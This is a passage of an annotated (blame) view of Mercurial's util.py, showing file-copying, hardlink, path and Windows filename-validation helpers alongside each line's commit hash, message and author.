b25f07cb5399 util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 23370
diff changeset
1626 try:
b25f07cb5399 util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 23370
diff changeset
1627 return func(*args, **kwargs)
b25f07cb5399 util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 23370
diff changeset
1628 finally:
b25f07cb5399 util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 23370
diff changeset
1629 if gcenabled:
b25f07cb5399 util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 23370
diff changeset
1630 gc.enable()
b25f07cb5399 util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 23370
diff changeset
1631 return wrapper
b25f07cb5399 util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 23370
diff changeset
1632
33799
05264fc9d8d6 util: make nogc effective for CPython
Jun Wu <quark@fb.com>
parents: 33793
diff changeset
1633 if pycompat.ispypy:
05264fc9d8d6 util: make nogc effective for CPython
Jun Wu <quark@fb.com>
parents: 33793
diff changeset
1634 # PyPy runs slower with gc disabled
05264fc9d8d6 util: make nogc effective for CPython
Jun Wu <quark@fb.com>
parents: 33793
diff changeset
1635 nogc = lambda x: x
05264fc9d8d6 util: make nogc effective for CPython
Jun Wu <quark@fb.com>
parents: 33793
diff changeset
1636
4229
24c22a3f2ef8 pass repo.root to util.pathto() in preparation for the next patch
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4129
diff changeset
1637 def pathto(root, n1, n2):
886
509de8ab6f31 Fix walk path handling on Windows
Bryan O'Sullivan <bos@serpentine.com>
parents: 884
diff changeset
1638 '''return the relative path from one place to another.
4229
24c22a3f2ef8 pass repo.root to util.pathto() in preparation for the next patch
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4129
diff changeset
1639 root should use os.sep to separate directories
3669
48768b1ab23c fix util.pathto
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 3629
diff changeset
1640 n1 should use os.sep to separate directories
48768b1ab23c fix util.pathto
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 3629
diff changeset
1641 n2 should use "/" to separate directories
48768b1ab23c fix util.pathto
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 3629
diff changeset
1642 returns an os.sep-separated path.
4229
24c22a3f2ef8 pass repo.root to util.pathto() in preparation for the next patch
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4129
diff changeset
1643
24c22a3f2ef8 pass repo.root to util.pathto() in preparation for the next patch
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4129
diff changeset
1644 If n1 is a relative path, it's assumed it's
24c22a3f2ef8 pass repo.root to util.pathto() in preparation for the next patch
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4129
diff changeset
1645 relative to root.
24c22a3f2ef8 pass repo.root to util.pathto() in preparation for the next patch
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4129
diff changeset
1646 n2 should always be relative to root.
3669
48768b1ab23c fix util.pathto
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 3629
diff changeset
1647 '''
10282
08a0f04b56bd many, many trivial check-code fixups
Matt Mackall <mpm@selenic.com>
parents: 10264
diff changeset
1648 if not n1:
08a0f04b56bd many, many trivial check-code fixups
Matt Mackall <mpm@selenic.com>
parents: 10264
diff changeset
1649 return localpath(n2)
4230
c93562fb12cc Fix handling of paths when run outside the repo.
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4229
diff changeset
1650 if os.path.isabs(n1):
c93562fb12cc Fix handling of paths when run outside the repo.
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4229
diff changeset
1651 if os.path.splitdrive(root)[0] != os.path.splitdrive(n1)[0]:
c93562fb12cc Fix handling of paths when run outside the repo.
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4229
diff changeset
1652 return os.path.join(root, localpath(n2))
c93562fb12cc Fix handling of paths when run outside the repo.
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4229
diff changeset
1653 n2 = '/'.join((pconvert(root), n2))
5844
07d8eb78dd68 Add util.splitpath() and use it instead of using os.sep directly.
Shun-ichi GOTO <shunichi.goto@gmail.com>
parents: 5843
diff changeset
1654 a, b = splitpath(n1), n2.split('/')
1541
bf4e7ef08741 fixed some stuff pychecker shows, marked unclear/wrong stuff with XXX
twaldmann@thinkmo.de
parents: 1528
diff changeset
1655 a.reverse()
bf4e7ef08741 fixed some stuff pychecker shows, marked unclear/wrong stuff with XXX
twaldmann@thinkmo.de
parents: 1528
diff changeset
1656 b.reverse()
884
087771ebe2e6 Fix walk code for files that do not exist anywhere, and unhandled types.
Bryan O'Sullivan <bos@serpentine.com>
parents: 878
diff changeset
1657 while a and b and a[-1] == b[-1]:
1541
bf4e7ef08741 fixed some stuff pychecker shows, marked unclear/wrong stuff with XXX
twaldmann@thinkmo.de
parents: 1528
diff changeset
1658 a.pop()
bf4e7ef08741 fixed some stuff pychecker shows, marked unclear/wrong stuff with XXX
twaldmann@thinkmo.de
parents: 1528
diff changeset
1659 b.pop()
884
087771ebe2e6 Fix walk code for files that do not exist anywhere, and unhandled types.
Bryan O'Sullivan <bos@serpentine.com>
parents: 878
diff changeset
1660 b.reverse()
30613
1112ff99d965 py3: replace os.sep with pycompat.ossep (part 1 of 4)
Pulkit Goyal <7895pulkit@gmail.com>
parents: 30536
diff changeset
1661 return pycompat.ossep.join((['..'] * len(a)) + b) or '.'
884
087771ebe2e6 Fix walk code for files that do not exist anywhere, and unhandled types.
Bryan O'Sullivan <bos@serpentine.com>
parents: 878
diff changeset
1662
22633
92b54547ac5d util: introduce datapath for getting the location of supporting data files
Mads Kiilerich <madski@unity3d.com>
parents: 22632
diff changeset
1663 # the location of data files matching the source code
37118
5be286db5fb5 procutil: move process/executable management functions to new module
Yuya Nishihara <yuya@tcha.org>
parents: 37117
diff changeset
1664 if procutil.mainfrozen() and getattr(sys, 'frozen', None) != 'macosx_app':
22633
92b54547ac5d util: introduce datapath for getting the location of supporting data files
Mads Kiilerich <madski@unity3d.com>
parents: 22632
diff changeset
1665 # executable version (py2exe) doesn't support __file__
30669
10b17ed9b591 py3: replace sys.executable with pycompat.sysexecutable
Pulkit Goyal <7895pulkit@gmail.com>
parents: 30642
diff changeset
1666 datapath = os.path.dirname(pycompat.sysexecutable)
22633
92b54547ac5d util: introduce datapath for getting the location of supporting data files
Mads Kiilerich <madski@unity3d.com>
parents: 22632
diff changeset
1667 else:
31074
2912b06905dc py3: use pycompat.fsencode() to convert __file__ to bytes
Pulkit Goyal <7895pulkit@gmail.com>
parents: 30988
diff changeset
1668 datapath = os.path.dirname(pycompat.fsencode(__file__))
30301
8321b083a83d py3: make util.datapath a bytes variable
Pulkit Goyal <7895pulkit@gmail.com>
parents: 30265
diff changeset
1669
22638
0d0350cfc7ab i18n: use datapath for i18n like for templates and help
Mads Kiilerich <madski@unity3d.com>
parents: 22633
diff changeset
1670 i18n.setdatapath(datapath)
0d0350cfc7ab i18n: use datapath for i18n like for templates and help
Mads Kiilerich <madski@unity3d.com>
parents: 22633
diff changeset
1671
7388
5751631246de dispatch: generalize signature checking for extension command wrapping
Matt Mackall <mpm@selenic.com>
parents: 7301
diff changeset
1672 def checksignature(func):
5751631246de dispatch: generalize signature checking for extension command wrapping
Matt Mackall <mpm@selenic.com>
parents: 7301
diff changeset
1673 '''wrap a function with code to check for calling errors'''
5751631246de dispatch: generalize signature checking for extension command wrapping
Matt Mackall <mpm@selenic.com>
parents: 7301
diff changeset
1674 def check(*args, **kwargs):
5751631246de dispatch: generalize signature checking for extension command wrapping
Matt Mackall <mpm@selenic.com>
parents: 7301
diff changeset
1675 try:
5751631246de dispatch: generalize signature checking for extension command wrapping
Matt Mackall <mpm@selenic.com>
parents: 7301
diff changeset
1676 return func(*args, **kwargs)
5751631246de dispatch: generalize signature checking for extension command wrapping
Matt Mackall <mpm@selenic.com>
parents: 7301
diff changeset
1677 except TypeError:
5751631246de dispatch: generalize signature checking for extension command wrapping
Matt Mackall <mpm@selenic.com>
parents: 7301
diff changeset
1678 if len(traceback.extract_tb(sys.exc_info()[2])) == 1:
7646
e62a456b8dc5 error: move SignatureError
Matt Mackall <mpm@selenic.com>
parents: 7644
diff changeset
1679 raise error.SignatureError
7388
5751631246de dispatch: generalize signature checking for extension command wrapping
Matt Mackall <mpm@selenic.com>
parents: 7301
diff changeset
1680 raise
5751631246de dispatch: generalize signature checking for extension command wrapping
Matt Mackall <mpm@selenic.com>
parents: 7301
diff changeset
1681
5751631246de dispatch: generalize signature checking for extension command wrapping
Matt Mackall <mpm@selenic.com>
parents: 7301
diff changeset
1682 return check
5751631246de dispatch: generalize signature checking for extension command wrapping
Matt Mackall <mpm@selenic.com>
parents: 7301
diff changeset
1683
31575
e506e461c7a9 util: disable hardlink for copyfile if fstype is outside a whitelist
Jun Wu <quark@fb.com>
parents: 31573
diff changeset
1684 # a whilelist of known filesystems where hardlink works reliably
32291
bd872f64a8ba cleanup: use set literals
Martin von Zweigbergk <martinvonz@google.com>
parents: 32290
diff changeset
1685 _hardlinkfswhitelist = {
37382
de9f9f888900 util: whitelist apfs for hardlink support
Augie Fackler <augie@google.com>
parents: 37366
diff changeset
1686 'apfs',
31575
e506e461c7a9 util: disable hardlink for copyfile if fstype is outside a whitelist
Jun Wu <quark@fb.com>
parents: 31573
diff changeset
1687 'btrfs',
e506e461c7a9 util: disable hardlink for copyfile if fstype is outside a whitelist
Jun Wu <quark@fb.com>
parents: 31573
diff changeset
1688 'ext2',
e506e461c7a9 util: disable hardlink for copyfile if fstype is outside a whitelist
Jun Wu <quark@fb.com>
parents: 31573
diff changeset
1689 'ext3',
e506e461c7a9 util: disable hardlink for copyfile if fstype is outside a whitelist
Jun Wu <quark@fb.com>
parents: 31573
diff changeset
1690 'ext4',
31598
32f09ead059b util: enable hardlink for some BSD-family filesystems
Jun Wu <quark@fb.com>
parents: 31594
diff changeset
1691 'hfs',
31575
e506e461c7a9 util: disable hardlink for copyfile if fstype is outside a whitelist
Jun Wu <quark@fb.com>
parents: 31573
diff changeset
1692 'jfs',
35511
d8f408d999f9 util: whitelist NTFS for hardlink creation (issue4580)
Matt Harbison <matt_harbison@yahoo.com>
parents: 35509
diff changeset
1693 'NTFS',
31575
e506e461c7a9 util: disable hardlink for copyfile if fstype is outside a whitelist
Jun Wu <quark@fb.com>
parents: 31573
diff changeset
1694 'reiserfs',
e506e461c7a9 util: disable hardlink for copyfile if fstype is outside a whitelist
Jun Wu <quark@fb.com>
parents: 31573
diff changeset
1695 'tmpfs',
31598
32f09ead059b util: enable hardlink for some BSD-family filesystems
Jun Wu <quark@fb.com>
parents: 31594
diff changeset
1696 'ufs',
31575
e506e461c7a9 util: disable hardlink for copyfile if fstype is outside a whitelist
Jun Wu <quark@fb.com>
parents: 31573
diff changeset
1697 'xfs',
31598
32f09ead059b util: enable hardlink for some BSD-family filesystems
Jun Wu <quark@fb.com>
parents: 31594
diff changeset
1698 'zfs',
32291
bd872f64a8ba cleanup: use set literals
Martin von Zweigbergk <martinvonz@google.com>
parents: 32290
diff changeset
1699 }
31575
e506e461c7a9 util: disable hardlink for copyfile if fstype is outside a whitelist
Jun Wu <quark@fb.com>
parents: 31573
diff changeset
1700
29204
ce2d81aafbae util: make copyfile avoid ambiguity of file stat if needed
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29201
diff changeset
1701 def copyfile(src, dest, hardlink=False, copystat=False, checkambig=False):
27369
c48ecc0b5bc9 copyfile: add an optional parameter to copy other stat data
Siddharth Agarwal <sid0@fb.com>
parents: 26665
diff changeset
1702 '''copy a file, preserving mode and optionally other stat info like
29367
4e6e280e238f doc: describe detail about checkambig optional argument
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29342
diff changeset
1703 atime/mtime
4e6e280e238f doc: describe detail about checkambig optional argument
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29342
diff changeset
1704
4e6e280e238f doc: describe detail about checkambig optional argument
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29342
diff changeset
1705 checkambig argument is used with filestat, and is useful only if
4e6e280e238f doc: describe detail about checkambig optional argument
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29342
diff changeset
1706 destination file is guarded by any lock (e.g. repo.lock or
4e6e280e238f doc: describe detail about checkambig optional argument
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29342
diff changeset
1707 repo.wlock).
4e6e280e238f doc: describe detail about checkambig optional argument
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29342
diff changeset
1708
4e6e280e238f doc: describe detail about checkambig optional argument
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29342
diff changeset
1709 copystat and checkambig should be exclusive.
4e6e280e238f doc: describe detail about checkambig optional argument
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29342
diff changeset
1710 '''
29204
ce2d81aafbae util: make copyfile avoid ambiguity of file stat if needed
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29201
diff changeset
1711 assert not (copystat and checkambig)
ce2d81aafbae util: make copyfile avoid ambiguity of file stat if needed
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29201
diff changeset
1712 oldstat = None
18326
614f769e6aa7 util: copyfile: remove dest before copying
Mads Kiilerich <mads@kiilerich.com>
parents: 18026
diff changeset
1713 if os.path.lexists(dest):
29204
ce2d81aafbae util: make copyfile avoid ambiguity of file stat if needed
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29201
diff changeset
1714 if checkambig:
32772
7ad95626f6a7 filestat: move __init__ to frompath constructor
Siddharth Agarwal <sid0@fb.com>
parents: 32749
diff changeset
1715 oldstat = checkambig and filestat.frompath(dest)
18326
614f769e6aa7 util: copyfile: remove dest before copying
Mads Kiilerich <mads@kiilerich.com>
parents: 18026
diff changeset
1716 unlink(dest)
31575
e506e461c7a9 util: disable hardlink for copyfile if fstype is outside a whitelist
Jun Wu <quark@fb.com>
parents: 31573
diff changeset
1717 if hardlink:
e506e461c7a9 util: disable hardlink for copyfile if fstype is outside a whitelist
Jun Wu <quark@fb.com>
parents: 31573
diff changeset
1718 # Hardlinks are problematic on CIFS (issue4546), do not allow hardlinks
e506e461c7a9 util: disable hardlink for copyfile if fstype is outside a whitelist
Jun Wu <quark@fb.com>
parents: 31573
diff changeset
1719 # unless we are confident that dest is on a whitelisted filesystem.
31678
1ed57a7dd904 statfs: make getfstype() raise OSError
Yuya Nishihara <yuya@tcha.org>
parents: 31662
diff changeset
1720 try:
1ed57a7dd904 statfs: make getfstype() raise OSError
Yuya Nishihara <yuya@tcha.org>
parents: 31662
diff changeset
1721 fstype = getfstype(os.path.dirname(dest))
1ed57a7dd904 statfs: make getfstype() raise OSError
Yuya Nishihara <yuya@tcha.org>
parents: 31662
diff changeset
1722 except OSError:
1ed57a7dd904 statfs: make getfstype() raise OSError
Yuya Nishihara <yuya@tcha.org>
parents: 31662
diff changeset
1723 fstype = None
31575
e506e461c7a9 util: disable hardlink for copyfile if fstype is outside a whitelist
Jun Wu <quark@fb.com>
parents: 31573
diff changeset
1724 if fstype not in _hardlinkfswhitelist:
e506e461c7a9 util: disable hardlink for copyfile if fstype is outside a whitelist
Jun Wu <quark@fb.com>
parents: 31573
diff changeset
1725 hardlink = False
31577
e7a02e9ad162 util: enable hardlink for copyfile
Jun Wu <quark@fb.com>
parents: 31575
diff changeset
1726 if hardlink:
23899
4e451d1359de copyfile: allow optional hardlinking
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 23864
diff changeset
1727 try:
4e451d1359de copyfile: allow optional hardlinking
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 23864
diff changeset
1728 oslink(src, dest)
4e451d1359de copyfile: allow optional hardlinking
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 23864
diff changeset
1729 return
4e451d1359de copyfile: allow optional hardlinking
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 23864
diff changeset
1730 except (IOError, OSError):
4e451d1359de copyfile: allow optional hardlinking
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 23864
diff changeset
1731 pass # fall back to normal copy
4271
1eaa8d90c689 fix util.copyfile to deal with symlinks
Eric St-Jean <esj@wwd.ca>
parents: 4256
diff changeset
1732 if os.path.islink(src):
1eaa8d90c689 fix util.copyfile to deal with symlinks
Eric St-Jean <esj@wwd.ca>
parents: 4256
diff changeset
1733 os.symlink(os.readlink(src), dest)
27369
c48ecc0b5bc9 copyfile: add an optional parameter to copy other stat data
Siddharth Agarwal <sid0@fb.com>
parents: 26665
diff changeset
1734 # copytime is ignored for symlinks, but in general copytime isn't needed
c48ecc0b5bc9 copyfile: add an optional parameter to copy other stat data
Siddharth Agarwal <sid0@fb.com>
parents: 26665
diff changeset
1735 # for them anyway
4271
1eaa8d90c689 fix util.copyfile to deal with symlinks
Eric St-Jean <esj@wwd.ca>
parents: 4256
diff changeset
1736 else:
1eaa8d90c689 fix util.copyfile to deal with symlinks
Eric St-Jean <esj@wwd.ca>
parents: 4256
diff changeset
1737 try:
1eaa8d90c689 fix util.copyfile to deal with symlinks
Eric St-Jean <esj@wwd.ca>
parents: 4256
diff changeset
1738 shutil.copyfile(src, dest)
27369
c48ecc0b5bc9 copyfile: add an optional parameter to copy other stat data
Siddharth Agarwal <sid0@fb.com>
parents: 26665
diff changeset
1739 if copystat:
c48ecc0b5bc9 copyfile: add an optional parameter to copy other stat data
Siddharth Agarwal <sid0@fb.com>
parents: 26665
diff changeset
1740 # copystat also copies mode
c48ecc0b5bc9 copyfile: add an optional parameter to copy other stat data
Siddharth Agarwal <sid0@fb.com>
parents: 26665
diff changeset
1741 shutil.copystat(src, dest)
c48ecc0b5bc9 copyfile: add an optional parameter to copy other stat data
Siddharth Agarwal <sid0@fb.com>
parents: 26665
diff changeset
1742 else:
c48ecc0b5bc9 copyfile: add an optional parameter to copy other stat data
Siddharth Agarwal <sid0@fb.com>
parents: 26665
diff changeset
1743 shutil.copymode(src, dest)
29204
ce2d81aafbae util: make copyfile avoid ambiguity of file stat if needed
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29201
diff changeset
1744 if oldstat and oldstat.stat:
32772
7ad95626f6a7 filestat: move __init__ to frompath constructor
Siddharth Agarwal <sid0@fb.com>
parents: 32749
diff changeset
1745 newstat = filestat.frompath(dest)
29204
ce2d81aafbae util: make copyfile avoid ambiguity of file stat if needed
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29201
diff changeset
1746 if newstat.isambig(oldstat):
ce2d81aafbae util: make copyfile avoid ambiguity of file stat if needed
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29201
diff changeset
1747 # stat of copied file is ambiguous to original one
36781
ffa3026d4196 cleanup: use stat_result[stat.ST_MTIME] instead of stat_result.st_mtime
Augie Fackler <augie@google.com>
parents: 36724
diff changeset
1748 advanced = (
ffa3026d4196 cleanup: use stat_result[stat.ST_MTIME] instead of stat_result.st_mtime
Augie Fackler <augie@google.com>
parents: 36724
diff changeset
1749 oldstat.stat[stat.ST_MTIME] + 1) & 0x7fffffff
29204
ce2d81aafbae util: make copyfile avoid ambiguity of file stat if needed
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29201
diff changeset
1750 os.utime(dest, (advanced, advanced))
25660
328739ea70c3 global: mass rewrite to use modern exception syntax
Gregory Szorc <gregory.szorc@gmail.com>
parents: 25420
diff changeset
1751 except shutil.Error as inst:
37096
895f209b593b util: use error.Abort instead of local alias
Yuya Nishihara <yuya@tcha.org>
parents: 37095
diff changeset
1752 raise error.Abort(str(inst))
3629
4cfb72bcb978 util: add copyfile function
Matt Mackall <mpm@selenic.com>
parents: 3568
diff changeset
1753
38380
63e6f5ae84bc copystore: use progress helper
Martin von Zweigbergk <martinvonz@google.com>
parents: 38314
diff changeset
1754 def copyfiles(src, dst, hardlink=None, progress=None):
24439
2ddfac2f163e util: add progress callback support to copyfiles
Augie Fackler <augie@google.com>
parents: 24236
diff changeset
1755 """Copy a directory tree using hardlinks if possible."""
2ddfac2f163e util: add progress callback support to copyfiles
Augie Fackler <augie@google.com>
parents: 24236
diff changeset
1756 num = 0
1241
3b4f05ff3130 Add support for cloning with hardlinks on windows.
Stephen Darnell
parents: 1207
diff changeset
1757
38380
63e6f5ae84bc copystore: use progress helper
Martin von Zweigbergk <martinvonz@google.com>
parents: 38314
diff changeset
1758 def settopic():
63e6f5ae84bc copystore: use progress helper
Martin von Zweigbergk <martinvonz@google.com>
parents: 38314
diff changeset
1759 if progress:
63e6f5ae84bc copystore: use progress helper
Martin von Zweigbergk <martinvonz@google.com>
parents: 38314
diff changeset
1760 progress.topic = _('linking') if hardlink else _('copying')
698
df78d8ccac4c Use python function instead of external 'cp' command when cloning repos.
Thomas Arendsen Hein <thomas@intevation.de>
parents: 667
diff changeset
1761
1207
a7b8812973d9 Rewrite copytree as copyfiles
mpm@selenic.com
parents: 1200
diff changeset
1762 if os.path.isdir(src):
31719
456efd1b51fd hardlink: duplicate hardlink detection for copying files and directories
Jun Wu <quark@fb.com>
parents: 31718
diff changeset
1763 if hardlink is None:
456efd1b51fd hardlink: duplicate hardlink detection for copying files and directories
Jun Wu <quark@fb.com>
parents: 31718
diff changeset
1764 hardlink = (os.stat(src).st_dev ==
456efd1b51fd hardlink: duplicate hardlink detection for copying files and directories
Jun Wu <quark@fb.com>
parents: 31718
diff changeset
1765 os.stat(os.path.dirname(dst)).st_dev)
38380
63e6f5ae84bc copystore: use progress helper
Martin von Zweigbergk <martinvonz@google.com>
parents: 38314
diff changeset
1766 settopic()
1207
a7b8812973d9 Rewrite copytree as copyfiles
mpm@selenic.com
parents: 1200
diff changeset
1767 os.mkdir(dst)
32208
d74b0cff94a9 osutil: proxy through util (and platform) modules (API)
Yuya Nishihara <yuya@tcha.org>
parents: 32201
diff changeset
1768 for name, kind in listdir(src):
1207
a7b8812973d9 Rewrite copytree as copyfiles
mpm@selenic.com
parents: 1200
diff changeset
1769 srcname = os.path.join(src, name)
a7b8812973d9 Rewrite copytree as copyfiles
mpm@selenic.com
parents: 1200
diff changeset
1770 dstname = os.path.join(dst, name)
38380
63e6f5ae84bc copystore: use progress helper
Martin von Zweigbergk <martinvonz@google.com>
parents: 38314
diff changeset
1771 hardlink, n = copyfiles(srcname, dstname, hardlink, progress)
11251
c61442f6d106 clone: print number of linked/copied files on --debug
Adrian Buehlmann <adrian@cadifra.com>
parents: 11232
diff changeset
1772 num += n
1207
a7b8812973d9 Rewrite copytree as copyfiles
mpm@selenic.com
parents: 1200
diff changeset
1773 else:
31719
456efd1b51fd hardlink: duplicate hardlink detection for copying files and directories
Jun Wu <quark@fb.com>
parents: 31718
diff changeset
1774 if hardlink is None:
31720
dea2a17cbfd0 hardlink: check directory's st_dev when copying files
Jun Wu <quark@fb.com>
parents: 31719
diff changeset
1775 hardlink = (os.stat(os.path.dirname(src)).st_dev ==
31719
456efd1b51fd hardlink: duplicate hardlink detection for copying files and directories
Jun Wu <quark@fb.com>
parents: 31718
diff changeset
1776 os.stat(os.path.dirname(dst)).st_dev)
38380
63e6f5ae84bc copystore: use progress helper
Martin von Zweigbergk <martinvonz@google.com>
parents: 38314
diff changeset
1777 settopic()
31719
456efd1b51fd hardlink: duplicate hardlink detection for copying files and directories
Jun Wu <quark@fb.com>
parents: 31718
diff changeset
1778
1241
3b4f05ff3130 Add support for cloning with hardlinks on windows.
Stephen Darnell
parents: 1207
diff changeset
1779 if hardlink:
3b4f05ff3130 Add support for cloning with hardlinks on windows.
Stephen Darnell
parents: 1207
diff changeset
1780 try:
14235
b9e1b041744f rename util.os_link to oslink
Adrian Buehlmann <adrian@cadifra.com>
parents: 14234
diff changeset
1781 oslink(src, dst)
2050
e49d0fa38176 util.copyfiles: only switch to copy if hardlink raises IOError or OSError.
Vadim Gelfer <vadim.gelfer@gmail.com>
parents: 2026
diff changeset
1782 except (IOError, OSError):
1241
3b4f05ff3130 Add support for cloning with hardlinks on windows.
Stephen Darnell
parents: 1207
diff changeset
1783 hardlink = False
1591
5a3229cf1492 do not copy atime and mtime in util.copyfiles
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents: 1585
diff changeset
1784 shutil.copy(src, dst)
1241
3b4f05ff3130 Add support for cloning with hardlinks on windows.
Stephen Darnell
parents: 1207
diff changeset
1785 else:
1591
5a3229cf1492 do not copy atime and mtime in util.copyfiles
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents: 1585
diff changeset
1786 shutil.copy(src, dst)
11251
c61442f6d106 clone: print number of linked/copied files on --debug
Adrian Buehlmann <adrian@cadifra.com>
parents: 11232
diff changeset
1787 num += 1
38380
63e6f5ae84bc copystore: use progress helper
Martin von Zweigbergk <martinvonz@google.com>
parents: 38314
diff changeset
1788 if progress:
63e6f5ae84bc copystore: use progress helper
Martin von Zweigbergk <martinvonz@google.com>
parents: 38314
diff changeset
1789 progress.increment()
698
df78d8ccac4c Use python function instead of external 'cp' command when cloning repos.
Thomas Arendsen Hein <thomas@intevation.de>
parents: 667
diff changeset
1790
11251
c61442f6d106 clone: print number of linked/copied files on --debug
Adrian Buehlmann <adrian@cadifra.com>
parents: 11232
diff changeset
1791 return hardlink, num
11254
640d419725d0 util.copyfiles: don't try os_link() again if it failed before
Adrian Buehlmann <adrian@cadifra.com>
parents: 11010
diff changeset
1792
34052
ca6a3852daf0 util: use set for reserved Windows filenames
Gregory Szorc <gregory.szorc@gmail.com>
parents: 34002
diff changeset
1793 _winreservednames = {
ca6a3852daf0 util: use set for reserved Windows filenames
Gregory Szorc <gregory.szorc@gmail.com>
parents: 34002
diff changeset
1794 'con', 'prn', 'aux', 'nul',
ca6a3852daf0 util: use set for reserved Windows filenames
Gregory Szorc <gregory.szorc@gmail.com>
parents: 34002
diff changeset
1795 'com1', 'com2', 'com3', 'com4', 'com5', 'com6', 'com7', 'com8', 'com9',
ca6a3852daf0 util: use set for reserved Windows filenames
Gregory Szorc <gregory.szorc@gmail.com>
parents: 34002
diff changeset
1796 'lpt1', 'lpt2', 'lpt3', 'lpt4', 'lpt5', 'lpt6', 'lpt7', 'lpt8', 'lpt9',
ca6a3852daf0 util: use set for reserved Windows filenames
Gregory Szorc <gregory.szorc@gmail.com>
parents: 34002
diff changeset
1797 }
14262
23cd7eeff678 util: rename _windows_reserved_filenames and _windows_reserved_chars
Adrian Buehlmann <adrian@cadifra.com>
parents: 14250
diff changeset
1798 _winreservedchars = ':*?"<>|'
13916
98ee3dd5bab4 path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents: 13910
diff changeset
1799 def checkwinfilename(path):
20000
0849d280663e util: warn when adding paths ending with \
Mads Kiilerich <madski@unity3d.com>
parents: 19951
diff changeset
1800 r'''Check that the base-relative path is a valid filename on Windows.
13916
98ee3dd5bab4 path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents: 13910
diff changeset
1801 Returns None if the path is ok, or a UI string describing the problem.
98ee3dd5bab4 path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents: 13910
diff changeset
1802
34131
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34084
diff changeset
1803 >>> checkwinfilename(b"just/a/normal/path")
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34084
diff changeset
1804 >>> checkwinfilename(b"foo/bar/con.xml")
13916
98ee3dd5bab4 path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents: 13910
diff changeset
1805 "filename contains 'con', which is reserved on Windows"
34131
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34084
diff changeset
1806 >>> checkwinfilename(b"foo/con.xml/bar")
13916
98ee3dd5bab4 path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents: 13910
diff changeset
1807 "filename contains 'con', which is reserved on Windows"
34131
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34084
diff changeset
1808 >>> checkwinfilename(b"foo/bar/xml.con")
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34084
diff changeset
1809 >>> checkwinfilename(b"foo/bar/AUX/bla.txt")
13916
98ee3dd5bab4 path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents: 13910
diff changeset
1810 "filename contains 'AUX', which is reserved on Windows"
34131
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34084
diff changeset
1811 >>> checkwinfilename(b"foo/bar/bla:.txt")
13916
98ee3dd5bab4 path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents: 13910
diff changeset
1812 "filename contains ':', which is reserved on Windows"
34131
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34084
diff changeset
1813 >>> checkwinfilename(b"foo/bar/b\07la.txt")
20000
